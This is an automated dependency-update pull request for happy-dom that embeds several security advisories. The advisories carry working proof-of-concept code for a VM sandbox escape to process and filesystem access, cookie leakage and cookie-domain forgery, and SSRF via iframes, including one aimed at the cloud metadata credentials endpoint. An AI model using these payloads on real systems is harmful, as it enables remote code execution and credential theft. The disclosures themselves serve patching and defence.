chore(deps): update dependency happy-dom to v21 [security] by renovate[bot] · Pull Request #89 · Tim-W-James/timjames.dev

renovate · 2024-11-06T16:44:24Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`^13.3.8` → `^21.0.0`

happy-dom allows for server side code to be executed by a <script> tag

CVE-2024-51757 / GHSA-96g7-g7g9-jxw8

More information

Details

Impact

Consumers of the NPM package happy-dom

Patches

The security vulnerability has been patched in v15.10.2

Workarounds

No easy workarounds to my knowledge

References

#1585

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM: VM Context Escape can lead to Remote Code Execution

CVE-2025-61927 / GHSA-37j7-fg3j-429f

More information

Details

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);

ESM (Not possible to get hold of import or require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);

Potential Impact

Server-Side Rendering (SSR)

const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

Data Exfiltration: Access to environment variables, configuration files, secrets
Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
Code Execution: Child process access for running arbitrary commands
Persistence: File system access

Recommended Immediate Actions

Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an insecure environment
Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to escape the VM
- eval() and Function() can still be used within the Happy DOM VM without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in use
If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

Node.js >= 22
happy-dom 20.6.1
DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
From page host, call fetch to target host with credentials: "include"
Observe Cookie header received by the target host

Expected:

Include api_cookie=API_ONLY
Do not include page_cookie=PAGE_ONLY

Actual (observed):

Includes page_cookie=PAGE_ONLY
Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

CVE-2026-118661 / GHSA-5fpq-26gf-qwcr

More information

Details

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

CVE-2026-118660 / GHSA-c8p4-j97h-3vg8

More information

Details

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has:

disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
Internal network scanning — probe internal services and ports
Data exfiltration — read responses from internal APIs
Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

capricorn86/happy-dom (happy-dom)

Conversation

renovate Bot commented Nov 6, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

happy-dom allows for server side code to be executed by a <script> tag

Details

Impact

Patches

Workarounds

References

Severity

References

Happy DOM: VM Context Escape can lead to Remote Code Execution

Details

Escape of VM Context gives access to process level functionality

Summary

Reproduce

CommonJS (Possible to get hold of require)

ESM (Not possible to get hold of import or require)

Potential Impact

Server-Side Rendering (SSR)

Testing Frameworks

Attack Scenarios

Recommended Immediate Actions

Technical Root Cause

Severity

References

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Details

Summary

Details

PoC Script Content

Impact

Severity

References

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Details

Summary

Details

PoC

Impact

Severity

References

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

Details

Summary

Affected Versions

Vulnerable Behavior

Proof of Concept

Verified test (attacker server receives requests):

Cloud metadata attack scenario:

Impact

Suggested Fix

Severity

References

Release Notes

💣 Breaking Changes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

renovate Bot commented Nov 6, 2024 •

edited

Loading

netlify Bot commented Nov 6, 2024 •

edited

Loading

renovate Bot commented Oct 11, 2025 •

edited

Loading

netlify Bot commented Jan 7, 2026 •

edited

Loading

netlify Bot commented Mar 26, 2026 •

edited

Loading